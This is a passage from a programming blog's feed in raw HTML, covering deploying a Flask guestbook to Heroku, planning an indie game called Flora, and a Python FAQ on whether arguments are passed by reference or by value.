</pre></td><td class="code"><pre><code class="py"><span class="line"><span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">Flask</span><span class="p">,</span> <span class="n">redirect</span><span class="p">,</span> <span class="n">render_template</span><span class="p">,</span> <span class="n">request</span><span class="p">,</span> <span class="n">url_for</span>
</span><span class="line">
</span><span class="line"><span class="c"># ...</span>
</span><span class="line">
</span><span class="line"><span class="nd">@app.route</span><span class="p">(</span><span class="s">&quot;/sign&quot;</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">&#39;POST&#39;</span><span class="p">])</span>
</span><span class="line"><span class="k">def</span> <span class="nf">signme</span><span class="p">():</span>
</span><span class="line">    <span class="n">new_entry</span> <span class="o">=</span> <span class="n">db</span><span class="o">.</span><span class="n">GuestbookEntry</span><span class="p">(</span>
</span><span class="line">        <span class="n">name</span><span class="o">=</span><span class="n">request</span><span class="o">.</span><span class="n">form</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s">&#39;name&#39;</span><span class="p">)</span> <span class="ow">or</span> <span class="s">&#39;Some dummy who forgot to leave a name&#39;</span><span class="p">,</span>
</span><span class="line">        <span class="n">message</span><span class="o">=</span><span class="n">request</span><span class="o">.</span><span class="n">form</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s">&#39;message&#39;</span><span class="p">)</span> <span class="ow">or</span> <span class="s">&#39;WOW THIS IS THE BEST WEBSITE EVER&#39;</span><span class="p">,</span>
</span><span class="line">    <span class="p">)</span>
</span><span class="line">    <span class="n">db</span><span class="o">.</span><span class="n">session</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">new_entry</span><span class="p">)</span>
</span><span class="line">    <span class="n">db</span><span class="o">.</span><span class="n">session</span><span class="o">.</span><span class="n">commit</span><span class="p">()</span>
</span><span class="line">
</span><span class="line">    <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="n">url_for</span><span class="p">(</span><span class="s">&#39;root&#39;</span><span class="p">))</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>Refresh, try it out.  Done.</p>

<h2 id="deployment">Deployment</h2>

<p>Arrgh, that thing that’s hard!  What do we do now!</p>

<p>We have a few options.</p>

<ol>
  <li>
    <p>There’s the…  <em>classic</em> approach of dumping it all on my server and leaving it running in <code>tmux</code>.  Let’s not do that.  Ever.</p>
  </li>
  <li>
    <p>I already have Python stuff deployed using <code>gunicorn</code>, reverse proxying, and an Upstart script.  I like this setup (except that Upstart blows) and could easily just copy it.  That’s not very helpful in the context of this “do it fast” post, though.</p>

    <p>Note that Debian-based distributions have packaged <code>gunicorn</code> as a daemon itself, so you only have to create a file with a couple lines to get going.  That’s awesome.</p>
  </li>
  <li>
    <p>Probably the most brain-dead thing to do is use Apache’s <code>mod_wsgi</code>, which worries about running your app for you.  It’s even Flask’s <a href="http://flask.pocoo.org/docs/deploying/mod_wsgi/">first choice</a> for deployment, and it just takes a few lines of boilerplate Apache configuration, which all PHP devs are surely familiar with.  But I don’t have Apache installed, and we’ve gotten along just fine without it so far, goddammit.</p>

    <p>Dreamhost has some unsupported <a href="http://wiki.dreamhost.com/Passenger_WSGI">instructions</a> for using Apache’s <code>mod_passenger</code> with a Python app, which is basically the same idea.</p>
  </li>
</ol>

<p>What else is there?  Plenty, really: FastCGI, or regular CGI (yeargh), or various other options for running a standalone thing, and I will totally blog about all this someday I swear.</p>

<p>But I want something drop-dead simple.  I want this on the interbutts <em>now</em>.</p>

<p>I will try something I have never tried before, while you, dear reader, watch me fumble.</p>

<p>I will try Heroku.</p>

<h2 id="heroku">Heroku</h2>

<p>Hold up while I sign up for this thing and wait for the confirmation email.</p>

<p>…</p>

<p>Okay it has linked me to the <a href="https://devcenter.heroku.com/articles/quickstart">quickstart guide</a>.  Let me remind you that, far moreso than with Flask, I have <em>no idea what I am doing</em>.</p>

<p>First I have to install some Ruby thing, naturally.  Let us pause for twenty minutes of reflection while documentation is compiled.</p>

<pre><code>eevee@perushian ~/dev/blog ⚘ heroku login
Enter your Heroku credentials.
Email: eevee.heroku@veekun.com
Password (typing will be hidden): 
Found the following SSH public keys:
...
Which would you like to use with your Heroku account? 2
Uploading SSH public key... done
Authentication successful.
eevee@perushian ~/dev/blog ⚘ cd ../guestbook_demo
eevee@perushian ~/dev/guestbook_demo ⚘ heroku create
Creating whispering-beach-4961... done, stack is cedar
http://whispering-beach-4961.herokuapp.com/ | git@heroku.com:whispering-beach-4961.git
Git remote heroku added
</code></pre>

<p>I seem to need a pip-style <code>requirements.txt</code> (just a list of Python distributions, one per line) and a <code>Procfile</code> (which tells heroku how to launch my thing).  There are <a href="https://devcenter.heroku.com/articles/python">instructions for Flask</a>, but as I already made an app, I’m just beating what I have into submission with minimal changes.  And some trial and error.</p>

<div class="bogus-wrapper"><notextile><figure class="code"><figcaption><span>requirements.txt </span><a href="https://github.com/eevee/guestbook_demo/blob/f047a4c1e7315eab48d30d9974f72466f262970b/requirements.txt">link</a></figcaption> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
</pre></td><td class="code"><pre><code class="text"><span class="line">Flask&gt;=0.8
</span><span class="line">SQLAlchemy&gt;=0.7
</span><span class="line">psycopg2
</span></code></pre></td></tr></table></div></figure></notextile></div>

<div class="bogus-wrapper"><notextile><figure class="code"><figcaption><span>Procfile </span></figcaption>
<div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
</pre></td><td class="code"><pre><code class=""><span class="line">web: python -m guestbook_demo</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>Other changes:</p>

<ul>
  <li>Remove that <code>debug=True</code>, of course.</li>
  <li>Heroku wants my app to run on a port specified in the environment, so use <code>app.run(port=os.environ['PORT'])</code>.  And change the host to <code>0.0.0.0</code>.  It tells me nicely about these things when I use <code>heroku logs</code>.</li>
</ul>

<p>I went through a couple cycles of <code>git push heroku master</code> and <code>heroku logs</code>, but I admit this is surprisingly painless and kinda sorta almost like just running it locally.  With a bit of a runaround anytime I change anything.</p>

<p>I have to add a web process before anything will run, I think:</p>

<pre><code>eevee@perushian ~/dev/guestbook_demo ⚘ heroku ps:scale web=1
Scaling web processes... done, now running 1
eevee@perushian ~/dev/guestbook_demo ⚘ heroku ps
=== web: `python -m guestbook_demo`
web.1: up for 39s
</code></pre>

<p>And now I just need to reserve a database, make SQLAlchemy connect to it, and create the tables.</p>

<pre><code>eevee@perushian ~/dev/guestbook_demo ⚘ heroku addons:add heroku-postgresql:dev
Adding heroku-postgresql:dev on whispering-beach-4961... done, v9 (free)
Attached as HEROKU_POSTGRESQL_JADE
Database has been created and is available
  ! WARNING: dev is in beta
  !          increased risk of data loss and downtime
  !          send feedback to dod-feedback@heroku.com
Use `heroku addons:docs heroku-postgresql:dev` to view documentation.
</code></pre>

<div class="bogus-wrapper"><notextile><figure class="code"><figcaption><span>guestbook_demo/db.py</span><a href="https://github.com/eevee/guestbook_demo/blob/e4ed3a09b271ba00db924391386dc701aa19e084/guestbook_demo/db.py">link</a></figcaption> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
</pre></td><td class="code"><pre><code class="py"><span class="line"><span class="n">engine</span> <span class="o">=</span> <span class="n">create_engine</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s">&#39;HEROKU_POSTGRESQL_JADE_URL&#39;</span><span class="p">,</span> <span class="s">&#39;postgresql:///guestbook_demo&#39;</span><span class="p">))</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<pre><code>eevee@perushian ~/dev/guestbook_demo ⚘ heroku run python
Running `python` attached to terminal... up, run.1
from guesPython 2.7.2 (default, Oct 31 2011, 16:22:04) 
[GCC 4.4.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
t&gt;&gt;&gt; from guestbook_demo import db
&gt;&gt;&gt; db.Base.metadata.create_all(bind=db.engine)
&gt;&gt;&gt; 
</code></pre>

<p>And then…</p>

<p>Oh.  I’m done.</p>

<p><a href="http://whispering-beach-4961.herokuapp.com/">http://whispering-beach-4961.herokuapp.com/</a></p>

<p>That was actually way, way less painful than I expected.  I would hecka <a href="http://www.heroku.com/pricing">pay money</a> for this thing.</p>

<h2 id="recap">Recap</h2>

<p>So I have a dumb little app that connects to a database, adds things to it, and shows things in it.  It’s running live on a free “web host”.  And I didn’t know how to use half of these things when I started.</p>

<p>This took a couple hours, minus writing this post, and trying to figure out why my changes didn’t take effect when I only typed them in the blog post and not the actual code, and playing with my cats, and eating a muffin, and whatever other fucking around I was doing.  In retrospect, I’m probably not the best person to demonstrate speed of doing anything.  But consider what we have here.</p>

<ul>
  <li>I have routed URLs, and a URL generator, inside the app.  I never once, at any time, wrote any web server configuration whatsoever.  I don’t even have a web server installed on my machine.</li>
  <li>I have a full ORM at my disposal that will work on half a dozen different databases.</li>
  <li>There are no SQL injection vulnerabilities; the ORM takes care of that.</li>
  <li>There are no XSS vulnerabilities; the template language takes care of that.  (Which is good, because I see the second entry here is already an attempt at script injection.)</li>
  <li>There are no HTTP header splitting vulnerabilities; I didn’t even write any headers manually.</li>
</ul>

<p>I didn’t even touch half of what Flask does: it also has omnipresent sessions, flash messages, lightweight plugins, test amenities, logging, and <a href="http://flask.pocoo.org/docs/">god knows what else</a>.</p>

<p>Was this quick?  I believe so.  Was it dirty?  Certainly not.  I have a namespace for my app, separate db configuration, separate templates with inheritance.  If I’d been so inclined, I could’ve been using Flask’s configuration stuff to get some hardcoded values out of there as well.</p>

<p>Plus, half of what I did was setup stuff you’d have to do for any application: thinking up a db schema, creating a git repository, finding hosting.  Now all that stuff is ready to go, and the rest is a breeze.</p>

<p>And I <em>didn’t know anything about Flask or Heroku this morning</em>.</p>

<p>Getting things done is not mutually exclusive with doing them nicely.  None of this was <em>hard</em>.  It’s just <em>different</em>.</p>

<p>Come dip your toes in.  You might like what you find.</p>

<p>I threw the thing, complete with my embarrassing heroku fumbling, on <a href="https://github.com/eevee/guestbook_demo">github</a>.</p>

<h2 id="afterthought-the-article">Afterthought: the article</h2>

<p>Other choice TechCrunch quotes:</p>

<blockquote>
  <p>And yet PHP is allegedly used by more than three-quarters of all web sites.</p>
</blockquote>

<p>Alleged, indeed.  This links to <a href="http://w3techs.com/technologies/overview/programming_language/all">w3techs</a>, which seems to <a href="http://w3techs.com/faq">indicate</a> that it uses URLs and HTTP headers to detect what language a site is written in.  What popular language plugin for Apache reports itself in the <code>Server</code> header, whether it’s being used for the current page or not?  <code>mod_php</code>.  What doesn’t?  Everything else!</p>

<p>(Addendum: I am told w3techs is <a href="http://stackoverflow.com/questions/11576469/why-is-perl-market-position-in-server-side-scripting-so-low-even-less-than-java/11577130#11577130">even less reliable</a> than appears at first glance.  They omit the nearly 20% of sites they can’t guess at all.)</p>

<blockquote>
  <p>“here’s to the PHP Misfits. The pragmatic ones who would pick up anything – even double-clawed hammers – to build their own future. Often ridiculed and belittled by the hip guys in class who write cool code in Ruby or Python, but always the ones who just get shit done.”</p>
</blockquote>

<p>Yeah, well, fuck you.  I don’t write Python because it’s <em>cool</em>, and I’m rapidly tiring of having invented motivations used as a reason to disregard what I say.  I use Python because it balances <em>getting stuff done</em> with <em>having that stuff not fall over as soon as I turn my back</em>.  Programming is a world of tradeoffs; most of PHP’s trade immediacy for the slightest hint of reliability.  Those geeks writing sites in Haskell aren’t always just doing it because it meets some academic (when did learning become <em>bad</em>?) standard of purity; very powerful typing often solves very real problems in software engineering.  The tradeoff there is that very powerful typing also makes some common tasks particularly difficult to implement.  Some people find this tradeoff acceptable; many do not.</p>

<p>I know these things because I have a passing familiarity with more than one language, and a passing familiarity with more than one methodology.  If you don’t know <em>why</em> your favorite tool’s tradeoffs are good or bad but are merely used to them, then for the love of god, <em>please</em> expand your context bubble before passing the rest of us off as squabbling elitist philosophers.</p>

<p>Now let’s pretend this post has nothing to do with PHP because I am sick to death of typing about it.</p>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Flora]]></title>
    <link href="http://me.veekun.com/blog/2012/07/06/flora/"/>
    <updated>2012-07-06T00:24:00-07:00</updated>
    <id>http://me.veekun.com/blog/2012/07/06/flora</id>
    <content type="html"><![CDATA[<p><a href="http://purplekecleon.deviantart.com/">Mel</a>, <a href="http://marlcabinet.tumblr.com/">Jayson</a>, and I are attempting to construct a game called Flora.  It seems obvious now that we’ve actually started: between us we have the pixels, the words, and the binaries.  That’s everything right there.</p>

<p>I could blather about my adventures figuring out how to <a href="http://www.jwz.org/blog/2012/06/i-have-ported-xscreensaver-to-the-iphone/">make OpenGL do anything useful</a>, but who the hell cares.  Far more interesting is the adventure of figuring out what the game actually <em>is</em>.</p>

<p>We have a pretty simple approach here: we’ve each played some decent set of video games, and we each have unreasonably strong opinions about what was good or bad.  All we have to do is make a game with all the good stuff and none of the bad stuff.  Done.  Ship it.</p>

<h2 id="the-big-picture">The big picture</h2>

<p>The game revolves around Mel’s <a href="http://purplekecleon.deviantart.com/gallery/308455">fictional universe</a>, populated by all manner of colorful critters.  The protagonists and namesakes are flowercats, so named because they are flowers with cats growing out of their stems.</p>

<p>It’s a top-down role-playing adventure, except everyone has a different idea of what that means, so let’s say it’s roughly the same style of game as <a href="http://www.nintendogal.com/wp-content/uploads/2010/12/ZeldaLinksAwakening1.png">Link’s Awakening</a>.  Turns out all three of us like <em>adventuring</em>: exploring a world, feeling like part of it, discovering secrets, finding teases of the plot, and hitting stuff.  Luckily, the <a href="http://purplekecleon.deviantart.com/art/Trevor-s-Accident-185564812">main characters</a> are into the same kinds of stuff, so we’re off to a good start there.</p>

<p>The theme is turning out to be “elements”: both of nature (earth, fire, etc.) and of <em>gameplay itself</em>.  We keep finding ways that distinct focus on each of exploration, puzzles, and combat seems appropriate.  Possibly because each of us has a different favorite of the three.</p>

<h2 id="balance">Balance</h2>

<p>Which brings me to the tricky bit: finding a middle ground between what we <em>like</em> and what <em>drives us fucking bonkers</em>.</p>

<ul>
  <li><strong>Good:</strong> Exploring a wide, open world.  <strong>Bad:</strong> Calling GTA4 a “wide, open world”.  Backtracking like crazy.  Fast-travel that makes you never <em>see</em> the world.  A map that, paradoxically, doesn’t show you where anything is or how to get to it.</li>
  <li><strong>Good:</strong> Unlocking new ways to move through the environment.  <strong>Bad:</strong> Realizing you don’t remember the ten places you saw an obstacle that you can now pass.</li>
  <li><strong>Good:</strong> Collecting stuff.  <strong>Bad:</strong> Being forced to collect the same worthless plot items to progress.  Collection that doesn’t actually lead anywhere.  Collection you don’t have a prayer of finishing until you’ve otherwised finished the game, thus turning it into a lame “post-game”.</li>
  <li><strong>Good:</strong> A populated world.  <strong>Bad:</strong> NPCs who walk back and forth their entire lives and only say one thing to you.  A quantum world that seems to pause while you’re not around to look at it.</li>
  <li><strong>Good:</strong> Multiple ways to defeat obstacles.  <strong>Bad:</strong> Letting the player skip an obstacle with no punishment.  Fallout 3.</li>
  <li><strong>Good:</strong> A sense of progression.  <strong>Bad:</strong> Screenfuls of stats that don’t seem to mean anything or change predictably.  Huge numbers of stat-changing options.  Minmaxing.</li>
  <li><strong>Good:</strong> Novel puzzles that instill a sense of accomplishment when solved.  <strong>Bad:</strong> Puzzles the game solves for you.  Puzzles that are afraid to be difficult.  Puzzles that rely on the author’s perspective.  Puzzles that you can opt to skip, thus making solving it a complete waste of time.</li>
</ul>

<p>Avoiding the <strong>bad</strong> is going to be tricky, to say the least.  Some of these plague virtually every game because it’s just damn hard to do anything else.  Still, I have every confidence that we are uniquely suited to avoid pitfalls that the biggest and most successful game development studios have yet to subvert.  Cause we’re awesome.</p>

<h2 id="status">Status</h2>

<p>So far we have one sprite drawn, and I’ve built an engine that lets it <a href="http://i.imgur.com/8nSK4.png">walk around a fixed region</a>.  (Spot the programmer art.)  Basically done!  I guess I’m building it half-from-scratch: I’m using pyglet and cocos2d, which provide a lot of basic niceties like event handling and layering and transformation and actions over time, but they’re both simple enough that I can easily understand everything they’re doing and could replicate it with a gun to my head.  It’s the same kind of sweet spot as Pyramid is for Web development.</p>

<p>We have a <a href="http://video.google.com/videoplay?docid=-8175247823467099595">Large Pad</a> with tons of small ideas scribbled on it, and we brainstorm every other day.  Currently trying to pin down how combat and advancement will work; there are a ton of options and getting it right is tricky.  As the engine becomes useful, we’ll be able to actually try stuff out.</p>

<p>This is a side project among side projects for all of us, completely unfunded, with no deadline.  So there’s no ETA, and we’ll just work on it as we feel inspired to do so.  Interest is always interesting, of course.</p>

<p>The code is ISC and the assets are CC BY-NC-SA.  All of it <a href="https://github.com/eevee/flora">lives on GitHub</a>.  We’d still like to sell the completed game, but the plan is to only charge for the <em>installer</em>.  (Oh, right: I develop on Linux (who doesn’t!) and it’s all Python and OpenGL, so it oughta run on pretty much anything.)</p>

<p>Yep, that’s all I got.  May write about bits of it in more detail later, if there be interest.</p>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Python FAQ: Passing]]></title>
    <link href="http://me.veekun.com/blog/2012/05/23/python-faq-passing/"/>
    <updated>2012-05-23T22:48:00-07:00</updated>
    <id>http://me.veekun.com/blog/2012/05/23/python-faq-passing</id>
    <content type="html"><![CDATA[<p>Part of my <a href="http://me.veekun.com/blog/2011/07/22/python-faq/">Python FAQ</a>.</p>

<p><strong>How do I pass by reference?  Does Python pass by reference or pass by value?</strong></p>

<!-- more -->

<p>This question is most often asked by C++ immigrants, who are used to a firm distinction between these kinds of passing and a bunch of subtle pros/cons for each.</p>

<p>So, then, does Python pass by reference or value?</p>

<p>Short answer: objects are passed as if by reference, not copied.  If you change an object in a function, it’ll change in the caller.  But!  You can’t <em>assign</em> to an argument name and magically have values in the caller change.</p>

<p>Long answer: both, and neither.  Hmm.  This may require some context.</p>

<h2 id="references-and-values">References and values</h2>

<p>In C and C++, variable declarations are really <em>memory</em> declarations.  Consider this innocuous statement:</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
</pre></td><td class="code"><pre><code class="c"><span class="line"><span class="kt">int</span> <span class="n">x</span><span class="p">;</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>This doesn’t really <em>create</em> a thing named <code>x</code>.  What it does is ensure that, at runtime, there will be some chunk of memory somewhere big enough to hold an integer, and whenever your code says <code>x</code>, it will look in that same chunk.  For all you care, that block might be in RAM or swap or hibernated or on the moon somewhere.  If you use <code>register</code>, it won’t be system memory at all.  All <code>x</code> refers to here is a wink and a nod between you and your compiler, agreeing that whenever you say <code>x</code>, you mean the same <em>place</em> as every other time you say <code>x</code>.</p>

<p>Enter function calls.</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
</pre></td><td class="code"><pre><code class="c"><span class="line"><span class="kt">void</span> <span class="nf">do_the_needful</span><span class="p">(</span><span class="n">some_bigass_struct</span> <span class="n">foo</span><span class="p">)</span> <span class="p">{</span>
</span><span class="line">    <span class="cm">/* ... */</span>
</span><span class="line"><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p><code>some_bigass_struct foo</code> is still a variable declaration.  At runtime, you’ll have a chunk of memory the size of that struct, and anytime you say <code>foo</code> inside this function, you’re guaranteed to be talking about the same chunk of memory.</p>

<p>Because of this, anything used as a function argument is <em>copied</em>.  When this function is called, <code>foo</code> contains a byte-for-byte copy of whatever struct was actually used as an argument.  This is pass-by-value: the function receives an equivalent value, but it has a different identity (or memory location, if you must).</p>

<p>Clearly this isn’t going to work so well for nontrivial types.  You waste a lot of time copying this whole struct, and then your function can’t even change anything and have it reflected in the caller’s struct, because you only have a copy.</p>

<p>The C way to fix this is to pass a pointer, instead.  That’s still technically passing by value, but the “value” here is a memory address.  That’s only a few bytes.  And even though the pointer’s identity is different, it still <em>points to</em> the same single struct, so a function can muck about with the struct contents if it so pleases.</p>

<p>Along comes C++.  C++ decided that pointers were confusing, because universities were inexplicably trying to teach pointers to CS102 students who barely understood what a compiler was for, and the students weren’t getting it.  Well, gosh, let’s fix this by getting rid of pointers.</p>

<p>C++’s solution to the pass-a-bunch-of-stuff problem was to introduce <em>references</em>.</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
</pre></td><td class="code"><pre><code class="cpp"><span class="line"><span class="kt">void</span> <span class="n">do_the_needful</span><span class="p">(</span><span class="n">some_bigass_struct</span> <span class="o">&amp;</span><span class="n">foo</span><span class="p">)</span> <span class="p">{</span>
</span><span class="line">    <span class="c1">// whoa, inline comment</span>
</span><span class="line"><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>Now you can call <code>do_the_needful(bar)</code> without fear.  It still <em>looks</em> like the entire struct is being passed in, but the <code>&amp;</code> reference sigil causes <code>foo</code> to be an <em>alias</em> for <code>bar</code>.  In other words, <code>foo</code> no longer reserves some runtime chunk of memory; it becomes another way to talk about the <em>same</em> chunk of memory the caller has, somewhere.  And because <code>foo</code> <em>is</em> <code>bar</code>, you can even assign to <code>foo</code> and overwrite <code>bar</code> outright—in C, you’d generally use a double pointer to do that without copying.</p>

<p>This is pass-by-reference: the same chunk of memory is now shared by two different variables, a feat that is impossible in C.</p>

<h2 id="back-to-python">Back to Python</h2>

<p>With these (hopefully-clear) definitions, let us consider Python again.</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
</pre></td><td class="code"><pre><code class="python"><span class="line"><span class="k">def</span> <span class="nf">do_the_needful</span><span class="p">(</span><span class="n">foo</span><span class="p">):</span>
</span><span class="line">    <span class="k">pass</span>
</span><span class="line">
</span><span class="line"><span class="n">obj</span> <span class="o">=</span> <span class="n">SomeBigassClass</span><span class="p">()</span>
</span><span class="line"><span class="n">do_the_needful</span><span class="p">(</span><span class="n">obj</span><span class="p">)</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>So, is <code>foo</code> passed by value or reference?</p>

<p>Again, the short answer is “neither”.  But the real answer is that the question doesn’t make sense for Python!  Variable names aren’t fixed preallocated chunks like they are in C or C++.  Python variable names are just that: <em>names</em>.</p>

<p>Compare:</p>

<ul>
  <li>
    <p>In C, <code>int x = 3;</code> declares a memory chunk named <code>x</code> and writes the value <code>3</code> into it.</p>
  </li>
  <li>
    <p>In Python, <code>x = 3</code> creates a value <code>3</code> and makes <code>x</code> a name for it.  All values are objects and thus first-class entities; they can exist with several names or no name at all.</p>
  </li>
</ul>

<p>If it helps: C variables are boxes that you write values into.  Python names are tags that you put on values.  <a href="http://python.net/~goodger/projects/pycon/2007/idiomatic/handout.html#other-languages-have-variables">This is a cool illustration.</a></p>

<p>And much like in C, argument passing is just a funny way of doing assignment.  The <code>foo</code> argument in this function might as well have been assigned to with <code>foo = obj</code>; the effect would be the same.</p>

<p>It’s not pass-by-value, then, because there’s no copying done, and the function still has the same object as the caller.  (Python never copies anything implicitly.)  Is it pass-by-reference?  This sure sounds like C++ references so far.</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
<span class="line-number">6</span>
<span class="line-number">7</span>
</pre></td><td class="code"><pre><code class="python"><span class="line"><span class="k">def</span> <span class="nf">increment</span><span class="p">(</span><span class="n">n</span><span class="p">):</span>
</span><span class="line">    <span class="n">n</span> <span class="o">=</span> <span class="n">n</span> <span class="o">+</span> <span class="mi">1</span>
</span><span class="line">
</span><span class="line"><span class="n">i</span> <span class="o">=</span> <span class="mi">1</span>
</span><span class="line"><span class="k">print</span> <span class="n">i</span>
</span><span class="line"><span class="n">increment</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
</span><span class="line"><span class="k">print</span> <span class="n">i</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>Nope; this will just print <code>1</code> twice.  Inside the function, assigning to <code>n</code> doesn’t do anything to the <em>value</em> <code>n</code> refers to; it just makes the name, <code>n</code>, refer to something else now.  So <code>n</code> will be <code>2</code>, sure, but then the function ends and <code>n</code> goes away and <code>i</code> is left unchanged because you never did anything to <code>i</code>.</p>

<p>This is <em>different</em> from changing an existing value:</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
<span class="line-number">6</span>
<span class="line-number">7</span>
</pre></td><td class="code"><pre><code class="python"><span class="line"><span class="k">def</span> <span class="nf">lengthen</span><span class="p">(</span><span class="n">n</span><span class="p">):</span>
</span><span class="line">    <span class="n">n</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
</span><span class="line">
</span><span class="line"><span class="n">i</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">]</span>
</span><span class="line"><span class="k">print</span> <span class="n">i</span>  <span class="c"># [1]</span>
</span><span class="line"><span class="n">lengthen</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
</span><span class="line"><span class="k">print</span> <span class="n">i</span>  <span class="c"># [1, 2]</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>In this case, <code>n</code> was never reassigned; instead, a method call altered the <code>value</code> directly.  It’s still the <em>same list</em>, and both <code>n</code> and <code>i</code> refer to it, but the list’s contents changed.</p>

<p>Got it?  Good, because there’s one more wrinkle: operator overloading does weird things here.  You could rewrite both of these functions using <code>+=</code>, for example.  In <code>increment</code>, <code>i</code> wouldn’t change, but in <code>lengthen</code>, it would!  This is because ints (and strs, tuples, and some other types) are immutable, so they implement <code>+=</code> literally: by creating a new object and assigning it.  But lists are mutable, so as a convenience shortcut, <code>+=</code> acts like <code>.extend()</code> and changes the list in-place.  This quirk has nothing to do with passing, though; these types just overloaded <code>+=</code> differently.</p>

<p>Anyway, um, this is definitely not pass-by-reference either.</p>

<p>If anything, Python is a third option: pass-by-object.</p>

<h2 id="what-to-do-instead">What to do instead</h2>

<p>So, wait, what if you <em>do</em> want to write something like <code>increment</code>?</p>

<h3 id="return-stuff">Return stuff.</h3>

<p>Much of the use of pointer/reference arguments in C and C++ is for “out parameters”: the function returns some status value, and its actual results are “returned” by modifying particular arguments.</p>

<p>But this ain’t C, so <a href="http://me.veekun.com/blog/2012/04/09/php-a-fractal-of-bad-design/#c-influence">why would we do that</a>?  You can just return multiple values.</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
</pre></td><td class="code"><pre><code class="python"><span class="line"><span class="k">def</span> <span class="nf">foo</span><span class="p">():</span>
</span><span class="line">    <span class="k">return</span> <span class="bp">True</span><span class="p">,</span> <span class="s">&quot;abc&quot;</span>
</span><span class="line">
</span><span class="line"><span class="n">status</span><span class="p">,</span> <span class="n">value</span> <span class="o">=</span> <span class="n">foo</span><span class="p">()</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>Or, you know, just raise exceptions on failure.  Then the caller doesn’t get a nasty surprise when he forgets to check your status code.</p>

<h3 id="use-methods">Use methods.</h3>

<p>If you <em>really</em> need to mutate the caller’s values, you might want to use an object to store those values, and turn the function into a method.  Methods can mess with the invocant’s attributes all they want, and this keeps the mess nicely contained.</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
<span class="line-number">6</span>
<span class="line-number">7</span>
<span class="line-number">8</span>
<span class="line-number">9</span>
<span class="line-number">10</span>
<span class="line-number">11</span>
</pre></td><td class="code"><pre><code class="python"><span class="line"><span class="k">class</span> <span class="nc">Incrementer</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
</span><span class="line">    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">count</span><span class="p">):</span>
</span><span class="line">        <span class="bp">self</span><span class="o">.</span><span class="n">count</span> <span class="o">=</span> <span class="n">count</span>
</span><span class="line">
</span><span class="line">    <span class="k">def</span> <span class="nf">increment</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span><span class="line">        <span class="bp">self</span><span class="o">.</span><span class="n">count</span> <span class="o">+=</span> <span class="mi">1</span>
</span><span class="line">
</span><span class="line"><span class="n">i</span> <span class="o">=</span> <span class="n">Incrementer</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span><span class="line"><span class="k">print</span> <span class="n">i</span><span class="o">.</span><span class="n">count</span>  <span class="c"># 1</span>
</span><span class="line"><span class="n">i</span><span class="o">.</span><span class="n">increment</span><span class="p">()</span>
</span><span class="line"><span class="k">print</span> <span class="n">i</span><span class="o">.</span><span class="n">count</span>  <span class="c"># 2</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<h3 id="use-a-mutable-object">Use a mutable object.</h3>

